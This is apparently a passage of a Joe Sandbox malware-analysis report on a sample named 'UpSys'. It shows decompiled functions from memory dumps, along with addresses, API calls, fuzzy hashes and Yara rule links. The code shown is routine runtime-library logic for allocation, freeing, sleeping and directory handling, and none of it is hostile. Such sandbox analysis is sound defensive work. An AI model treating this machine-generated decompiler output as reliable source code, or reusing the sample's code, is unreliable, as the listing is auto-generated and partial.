                                                                                                                                                                                                        0x140085070
                                                                                                                                                                                                        0x140085073
                                                                                                                                                                                                        0x14008507e
                                                                                                                                                                                                        0x140085087
                                                                                                                                                                                                        0x14008508a
                                                                                                                                                                                                        0x1400850a6
                                                                                                                                                                                                        0x1400850ac
                                                                                                                                                                                                        0x1400850c4
                                                                                                                                                                                                        0x1400850d2
                                                                                                                                                                                                        0x1400850ec
                                                                                                                                                                                                        0x1400850f7
                                                                                                                                                                                                        0x140085102
                                                                                                                                                                                                        0x14008510b
                                                                                                                                                                                                        0x140085110
                                                                                                                                                                                                        0x140085119
                                                                                                                                                                                                        0x14008511e
                                                                                                                                                                                                        0x140085122
                                                                                                                                                                                                        0x140085126
                                                                                                                                                                                                        0x14008512c
                                                                                                                                                                                                        0x140085140
                                                                                                                                                                                                        0x140085153

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FolderPath
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1514166925-0
                                                                                                                                                                                                        • Opcode ID: 6d4e7b915ea8c42b2d403b9ac2920e9b97c7ce6e8187b11e73fc7699a64d3825
                                                                                                                                                                                                        • Instruction ID: 1be2889b3b06ed7a4a5132420ff59869e97caecb1985ab765e69e7886f162acf
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6d4e7b915ea8c42b2d403b9ac2920e9b97c7ce6e8187b11e73fc7699a64d3825
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E4C08C32308A9182E7349764B059F8F33E0F78D308F901224A38E03D64CF38C100CA08
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140058CD0 Relevance: 1.5, APIs: 1, Instructions: 8COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 100%
                                                                                                                                                                                                        			E00000001140058CD0(intOrPtr* __rcx) {
				void* _t1;

				if ( *__rcx == 0) goto 0x40058ce6;
				_t1 = E000000011400535C0( *__rcx); // executed
				return _t1;
			}




                                                                                                                                                                                                        0x140058cda
                                                                                                                                                                                                        0x140058ce1
                                                                                                                                                                                                        0x140058cea

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Current_exceptionstd::exception_ptr::_
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3524498493-0
                                                                                                                                                                                                        • Opcode ID: 8c937fe7733eb03515f7323f35649b422dca02b187faf38129df444d6d3db7a3
                                                                                                                                                                                                        • Instruction ID: c6bc0fc2215ca53578cfa925a89086e5fb932519b8cf70665dcec1b2b86cd5b7
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 8c937fe7733eb03515f7323f35649b422dca02b187faf38129df444d6d3db7a3
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D9B09269B1350086FE1AE65394A23A825106B98B88FE46810AA0927692E93A88928B10
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400142D0 Relevance: 1.5, APIs: 1, Instructions: 203COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 33%
                                                                                                                                                                                                        			E000000011400142D0(long long __rbx, void* __rcx, void* __rdx, long long __rbp, intOrPtr* __r9, long long _a16, long long _a24) {
				void* _v24;
				char _v112;
				intOrPtr _v144;
				long long _v152;
				void* __rdi;
				void* __rsi;
				void* __r12;
				void* _t9;
				void* _t11;
				signed int _t12;
				void* _t13;
				void* _t15;
				void* _t17;
				void* _t21;
				void* _t23;
				void* _t31;
				void* _t42;
				void* _t43;
				void* _t44;

				_a16 = __rbx;
				_a24 = __rbp;
				_t31 = __rcx;
				_t23 = __rdx; // executed
				_t9 = E00000001140014530(_t12, _t13, _t15, _t17, _t21, __rdx,  &_v112, __rdx, __rcx, __rbp, __r9); // executed
				if (_t9 == 0) goto 0x400357c0;
				if ( *__r9 == 4) goto 0x400357e9;
				 *__r9 = 2;
				_v144 = 0;
				_v152 = 0x4009b6c0;
				return E00000001140002C90(_t11, _t12, 0, r8d, _t21, _t23, _t31, _t23, __r9, 0x4009b6c0, _t23, 0x4009b6c0, _t42, _t43, _t44);
			}






















                                                                                                                                                                                                        0x1400142d0
                                                                                                                                                                                                        0x1400142d5
                                                                                                                                                                                                        0x1400142e8
                                                                                                                                                                                                        0x1400142fa
                                                                                                                                                                                                        0x1400142fd
                                                                                                                                                                                                        0x140014304
                                                                                                                                                                                                        0x14001430d
                                                                                                                                                                                                        0x140014313
                                                                                                                                                                                                        0x14001432e
                                                                                                                                                                                                        0x140014332
                                                                                                                                                                                                        0x140014353

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • free.LIBCMT ref: 0000000140035A54
                                                                                                                                                                                                          • Part of subcall function 0000000140002C90: GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,000000014003476B), ref: 0000000140002D62
                                                                                                                                                                                                          • Part of subcall function 0000000140002C90: GetFullPathNameW.KERNEL32(?,?,?,?,?,?,000000014003476B), ref: 0000000140002D80
                                                                                                                                                                                                          • Part of subcall function 0000000140002C90: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,000000014003476B), ref: 0000000140002DEA
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CurrentDirectory$FullNamePathfree
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 521740188-0
                                                                                                                                                                                                        • Opcode ID: adf90e5045f128312d60cb8035a1bef7af7899e7ba711e9bb22857d3b9c632b5
                                                                                                                                                                                                        • Instruction ID: a1985525532cf589c4841e569f1b3e3950d25d7531f99ad57d57b85bbee51fd8
                                                                                                                                                                                                        • Opcode Fuzzy Hash: adf90e5045f128312d60cb8035a1bef7af7899e7ba711e9bb22857d3b9c632b5
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E8917072224A4092EB52EF22F4417EEA360F7897D4F845112FB8A47AFADF38C545DB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014007EEA0 Relevance: 1.4, APIs: 1, Instructions: 118COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 47%
                                                                                                                                                                                                        			E0000000114007EEA0(void* __eax, void* __ecx, signed int __edx, void* __ebp, long long __rbx, intOrPtr* __rdx, long long __rsi, intOrPtr* __r8, void* __r9) {
				void* _t30;
				void* _t38;
				void* _t54;
				void* _t55;
				void* _t56;
				void* _t59;
				long long _t60;
				long long _t63;
				intOrPtr* _t74;
				intOrPtr* _t80;
				long long _t82;
				intOrPtr* _t83;
				long long _t87;
				intOrPtr* _t88;
				void* _t90;
				void* _t91;
				intOrPtr* _t93;

				_t93 = __r8;
				_t85 = __rsi;
				_t62 = __rbx;
				_t59 = _t90;
				 *((long long*)(_t59 + 8)) = __rbx;
				 *((long long*)(_t59 + 0x10)) = _t87;
				 *((long long*)(_t59 + 0x18)) = __rsi;
				_t91 = _t90 - 0x50;
				asm("movaps [eax-0x18], xmm6");
				_t60 =  *((intOrPtr*)(__rdx + 8));
				_t83 = __r8;
				_t88 = __rdx;
				if (_t60 - 0xf > 0) goto 0x4007f011;
				_t54 = __eax - 8;
				if (_t54 > 0) goto 0x4007efa9;
				if (_t54 == 0) goto 0x4007ef95;
				_t55 = __eax;
				if (_t55 == 0) goto 0x4007ef83;
				if (_t55 == 0) goto 0x4007ef7e;
				if (_t55 == 0) goto 0x4007ef79;
				if (_t55 == 0) goto 0x4007ef74;
				if (_t55 == 0) goto 0x4007ef60;
				if (_t55 == 0) goto 0x4007ef47;
				if (_t55 == 0) goto 0x4007ef20;
				_t56 = __eax - 0xfffffffffffffffc - 1;
				if (_t56 != 0) goto 0x4007f011;
				E00000001140012D80(__edx, _t60, __rbx, __r8,  *__rdx, __rsi, __r8);
				goto 0x4007f011;
				_t48 = __edx | 0xffffffff;
				E0000000114003FB00(__edx | 0xffffffff, 1, __ebp, _t60, _t62,  *_t88, __rsi, _t88);
				_t80 = _t60;
				_t63 = _t60;
				E00000001140012D80(_t48, _t60, _t63, _t83, _t80, _t85, _t93);
				0x40016a60();
				goto 0x4007f011;
				E00000001140007A40(_t63, _t93, _t85, _t82);
				 *((intOrPtr*)(_t83 + 8)) = 2;
				 *_t83 = _t63;
				goto 0x4007f011;
				E00000001140007A40(_t63, _t93, _t85);
				 *((intOrPtr*)(_t83 + 8)) = 1;
				 *_t83 =  *_t80;
				goto 0x4007f011;
				goto 0x4007ef62;
				goto 0x4007ef62;
				goto 0x4007ef62;
				E00000001140007A40(_t63, _t93, _t85);
				goto 0x4007ef6a;
				_t74 = _t93;
				_t30 = E00000001140007A40( *_t80, _t74, _t85);
				 *((intOrPtr*)(_t83 + 8)) = 7;
				goto 0x4007ef58;
				if (_t56 == 0) goto 0x4007eff7;
				_t8 = _t74 - 8; // 0x1
				_t51 = _t8;
				if (_t56 == 0) goto 0x4007eff1;
				if (_t56 == 0) goto 0x4007efe9;
				if (_t56 == 0) goto 0x4007efe9;
				if (_t56 == 0) goto 0x4007efe9;
				if (_t56 == 0) goto 0x4007efe9;
				if (_t30 - 9 - _t8 - _t8 - _t8 - _t8 - _t51 != _t51) goto 0x4007f011;
				 *((short*)(_t91 + 0x20)) = 9;
				 *((long long*)(_t91 + 0x28)) =  *_t80;
				E0000000114007A020(9, _t48,  *_t80,  *_t80, _t93, _t91 + 0x20, _t85, _t93, __r9);
				goto 0x4007f011;
				goto 0x4007ef49;
				asm("movsd xmm6, [edx]");
				goto 0x4007effe;
				asm("movd xmm6, dword [edx]");
				asm("cvtps2pd xmm6, xmm6");
				_t38 = E00000001140007A40( *((intOrPtr*)(_t91 + 0x20)), _t93, _t85);
				 *((intOrPtr*)(_t83 + 8)) = 3;
				asm("movsd [edi], xmm6");
				if ( *((intOrPtr*)(_t88 + 0x20)) == 0) goto 0x4007f01f; // executed
				free(??); // executed
				asm("movaps xmm6, [esp+0x40]");
				return _t38;
			}




















                                                                                                                                                                                                        0x14007eea0
                                                                                                                                                                                                        0x14007eea0
                                                                                                                                                                                                        0x14007eea0
                                                                                                                                                                                                        0x14007eea0
                                                                                                                                                                                                        0x14007eea3
                                                                                                                                                                                                        0x14007eea7
                                                                                                                                                                                                        0x14007eeab
                                                                                                                                                                                                        0x14007eeb0
                                                                                                                                                                                                        0x14007eeb4
                                                                                                                                                                                                        0x14007eeb8
                                                                                                                                                                                                        0x14007eebc
                                                                                                                                                                                                        0x14007eebf
                                                                                                                                                                                                        0x14007eec6
                                                                                                                                                                                                        0x14007eecc
                                                                                                                                                                                                        0x14007eecf
                                                                                                                                                                                                        0x14007eed5
                                                                                                                                                                                                        0x14007eedb
                                                                                                                                                                                                        0x14007eedd
                                                                                                                                                                                                        0x14007eeea
                                                                                                                                                                                                        0x14007eef2
                                                                                                                                                                                                        0x14007eefa
                                                                                                                                                                                                        0x14007eefe
                                                                                                                                                                                                        0x14007ef02
                                                                                                                                                                                                        0x14007ef06
                                                                                                                                                                                                        0x14007ef08
                                                                                                                                                                                                        0x14007ef0a
                                                                                                                                                                                                        0x14007ef16
                                                                                                                                                                                                        0x14007ef1b
                                                                                                                                                                                                        0x14007ef24
                                                                                                                                                                                                        0x14007ef27
                                                                                                                                                                                                        0x14007ef2f
                                                                                                                                                                                                        0x14007ef32
                                                                                                                                                                                                        0x14007ef35
                                                                                                                                                                                                        0x14007ef3d
                                                                                                                                                                                                        0x14007ef42
                                                                                                                                                                                                        0x14007ef4c
                                                                                                                                                                                                        0x14007ef51
                                                                                                                                                                                                        0x14007ef58
                                                                                                                                                                                                        0x14007ef5b
                                                                                                                                                                                                        0x14007ef65
                                                                                                                                                                                                        0x14007ef6a
                                                                                                                                                                                                        0x14007ef6d
                                                                                                                                                                                                        0x14007ef6f
                                                                                                                                                                                                        0x14007ef77
                                                                                                                                                                                                        0x14007ef7c
                                                                                                                                                                                                        0x14007ef81
                                                                                                                                                                                                        0x14007ef89
                                                                                                                                                                                                        0x14007ef93
                                                                                                                                                                                                        0x14007ef98
                                                                                                                                                                                                        0x14007ef9b
                                                                                                                                                                                                        0x14007efa0
                                                                                                                                                                                                        0x14007efa7
                                                                                                                                                                                                        0x14007efb0
                                                                                                                                                                                                        0x14007efb2
                                                                                                                                                                                                        0x14007efb2
                                                                                                                                                                                                        0x14007efb7
                                                                                                                                                                                                        0x14007efbb
                                                                                                                                                                                                        0x14007efbf
                                                                                                                                                                                                        0x14007efc3
                                                                                                                                                                                                        0x14007efc7
                                                                                                                                                                                                        0x14007efcb
                                                                                                                                                                                                        0x14007efd0
                                                                                                                                                                                                        0x14007efdd
                                                                                                                                                                                                        0x14007efe2
                                                                                                                                                                                                        0x14007efe7
                                                                                                                                                                                                        0x14007efec
                                                                                                                                                                                                        0x14007eff1
                                                                                                                                                                                                        0x14007eff5
                                                                                                                                                                                                        0x14007eff7
                                                                                                                                                                                                        0x14007effb
                                                                                                                                                                                                        0x14007f001
                                                                                                                                                                                                        0x14007f006
                                                                                                                                                                                                        0x14007f00d
                                                                                                                                                                                                        0x14007f018
                                                                                                                                                                                                        0x14007f01a
                                                                                                                                                                                                        0x14007f02e
                                                                                                                                                                                                        0x14007f038

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: free
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1294909896-0
                                                                                                                                                                                                        • Opcode ID: 315ea79182e67b0d9b42696e9d6d17a61570ec5c83a1f161dbe6247610fbe7a7
                                                                                                                                                                                                        • Instruction ID: 20cbc8f5649d2b1371833c06c399eb59ecc1657ba1f3ab1d5b237a9a4adbceb6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 315ea79182e67b0d9b42696e9d6d17a61570ec5c83a1f161dbe6247610fbe7a7
                                                                                                                                                                                                        • Instruction Fuzzy Hash: FE41A37260669586E6279F27D5503FDA6A0A74DFD0F148221FB4947BFBCB3CC9A09380
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140016ED8 Relevance: 1.3, APIs: 1, Instructions: 39COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 58%
                                                                                                                                                                                                        			E00000001140016ED8(void* __rax, void* __rcx) {
				void* _t2;

				goto 0x40016ef2;
				if (E000000011400173B4(__rax, __rcx) == 0) goto 0x40016f02;
				_t2 = malloc(??); // executed
				if (__rax == 0) goto 0x40016ee3;
				return _t2;
			}




                                                                                                                                                                                                        0x140016ee1
                                                                                                                                                                                                        0x140016eed
                                                                                                                                                                                                        0x140016ef2
                                                                                                                                                                                                        0x140016efa
                                                                                                                                                                                                        0x140016f01

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • malloc.LIBCMT ref: 0000000140016EF2
                                                                                                                                                                                                          • Part of subcall function 0000000140017CA8: _FF_MSGBANNER.LIBCMT ref: 0000000140017CD8
                                                                                                                                                                                                          • Part of subcall function 0000000140017CA8: RtlAllocateHeap.NTDLL(?,?,00000000,000000014001D934,?,?,00000000,000000014001F135,?,?,?,000000014001F1DF), ref: 0000000140017CFD
                                                                                                                                                                                                          • Part of subcall function 0000000140017CA8: _errno.LIBCMT ref: 0000000140017D21
                                                                                                                                                                                                          • Part of subcall function 0000000140017CA8: _errno.LIBCMT ref: 0000000140017D2C
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno$AllocateHeapmalloc
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3105967009-0
                                                                                                                                                                                                        • Opcode ID: 6c3be7e48fda10a40c4eb5decbec926db17eff2f312ce344be0ca3aa4c2621b8
                                                                                                                                                                                                        • Instruction ID: 734c1c791eb178ccab89d81aa3c790b333e05cba0f921c80e86031b3d5696689
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6c3be7e48fda10a40c4eb5decbec926db17eff2f312ce344be0ca3aa4c2621b8
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 89010874601A0981FE27EFA2F8817D92360F75C3C4F880665BB4A4B6B2EB3AC655C740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014001D97C Relevance: 1.3, APIs: 1, Instructions: 36sleepCOMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 86%
                                                                                                                                                                                                        			E0000000114001D97C(long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32) {
				void* _t10;
				void* _t11;
				void* _t17;
				void* _t20;
				long long _t29;
				void* _t37;
				void* _t40;
				long _t41;

				_t29 = __rdi;
				_t20 = _t37;
				 *((long long*)(_t20 + 8)) = __rbx;
				 *((long long*)(_t20 + 0x10)) = __rbp;
				 *((long long*)(_t20 + 0x18)) = __rsi;
				 *((long long*)(_t20 + 0x20)) = __rdi;
				r12d = r12d | 0xffffffff;
				r8d = 0;
				_t11 = E00000001140029620(_t10, __rbx, __rcx, __rdx, __rdx, __rcx, _t40); // executed
				if (_t20 != 0) goto 0x4001d9e1;
				_t17 =  *0x400b455c - _t11; // 0x0
				if (_t17 <= 0) goto 0x4001d9e1;
				Sleep(_t41);
				_t5 = _t29 + 0x3e8; // 0x3e8
				r11d = _t5;
				_t15 =  >  ? r12d : r11d;
				_t19 = ( >  ? r12d : r11d) - r12d;
				if (( >  ? r12d : r11d) != r12d) goto 0x4001d9a1;
				return _t11;
			}











                                                                                                                                                                                                        0x14001d97c
                                                                                                                                                                                                        0x14001d97c
                                                                                                                                                                                                        0x14001d97f
                                                                                                                                                                                                        0x14001d983
                                                                                                                                                                                                        0x14001d987
                                                                                                                                                                                                        0x14001d98b
                                                                                                                                                                                                        0x14001d99d
                                                                                                                                                                                                        0x14001d9a1
                                                                                                                                                                                                        0x14001d9aa
                                                                                                                                                                                                        0x14001d9b5
                                                                                                                                                                                                        0x14001d9b7
                                                                                                                                                                                                        0x14001d9bd
                                                                                                                                                                                                        0x14001d9c1
                                                                                                                                                                                                        0x14001d9c7
                                                                                                                                                                                                        0x14001d9c7
                                                                                                                                                                                                        0x14001d9d8
                                                                                                                                                                                                        0x14001d9dc
                                                                                                                                                                                                        0x14001d9df
                                                                                                                                                                                                        0x14001d9fe

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • Sleep.KERNEL32(?,?,?,000000014001D69F,?,?,?,000000014001EAED,?,?,?,?,0000000140017EED), ref: 000000014001D9C1
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Sleep_errno
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1068366078-0
                                                                                                                                                                                                        • Opcode ID: cd70380aee1a65c28322118b1c01a745bd7d04846808fdaba4792d7e23870394
                                                                                                                                                                                                        • Instruction ID: 7789971c4cbe6bc4424ed298d2c3f122c05b3d4ba5804c6f2c3f929a6e14184e
                                                                                                                                                                                                        • Opcode Fuzzy Hash: cd70380aee1a65c28322118b1c01a745bd7d04846808fdaba4792d7e23870394
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 0C016D32620E8086EB569F17A841399B7A1E38CFD0F095226FF5907BA5CB39D951CB04
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140015120 Relevance: 1.3, APIs: 1, Instructions: 28COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 73%
                                                                                                                                                                                                        			E00000001140015120(void* __eflags, void* __r8) {
				char _v32;
				void* _t2;
				signed int _t4;
				void* _t5;
				void* _t6;
				void* _t10;
				void* _t11;
				void* _t14;
				void* _t15;
				void* _t18;

				_t2 = E00000001140014530(_t4, _t5, _t6, __eflags, _t10, _t11,  &_v32, __r8, _t14, _t15, _t18); // executed
				if (_t2 == 0) goto 0x40034040;
				return 0;
			}













                                                                                                                                                                                                        0x140015133
                                                                                                                                                                                                        0x14001513a
                                                                                                                                                                                                        0x140015146

                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
